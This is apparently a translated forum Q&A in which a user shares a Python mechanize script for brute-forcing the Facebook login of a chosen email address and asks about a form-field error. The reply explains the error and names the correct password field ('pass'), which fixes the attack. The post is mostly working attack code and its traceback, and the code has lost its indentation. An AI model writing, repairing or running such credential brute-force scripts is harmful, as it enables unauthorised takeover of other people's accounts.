我试图用 python 脚本暴力破解 Facebook 登录页面,但是每当我运行代码时,我都会收到以下错误。我的代码是:
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Firefox')]
print "enter target email"
email = raw_input('>>>')
print "continue at your own risk, im not responible for what you do..."
print "would you like to continue"
contnue = raw_input('y/n:')
if contnue == 'y':
combos = itertools.permutations("i3^4hUP-",8)
br.open("http://www.facebook.com/login/")
for x in combos:
br.select_form( nr = 0 )
br.form['email'] = email
br.form['password'] = ''.join(x)
print "Checking ",br.form['password']
response=br.submit()
if response.geturl()=="http://www.example.com/redirected_to_url":
#url to which the page is redirected after login
print "Correct password is ",''.join(x)
break
该脚本使用 mechanize 模块来尝试暴力破解默认的 facebook 登录页面。
我的错误的堆栈跟踪是:
File "passripper.py", line 83, in <module>
br.form['password'] = ''.join(x)
File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 2780, in __setitem__
control = self.find_control(name)
File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3101, in find_control
return self._find_control(name, type, kind, id, label, predicate, nr)
File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3185, in _find_control
raise ControlNotFoundError("no control matching "+description)
mechanize._form.ControlNotFoundError: no control matching name 'password'
有人可以解释一下错误消息的含义吗?
您的错误信息:
mechanize._form.ControlNotFoundError:没有控件匹配名称“密码”
尝试阅读它。然后查看您尝试编码的页面。该表单上没有名称为“password”的表单字段。
您的密码字段名称不是密码,密码字段名称是“pass”。 你可以使用......
browser.form["电子邮件"] = your_email browser.form["pass"] = 你的密码
就是这样。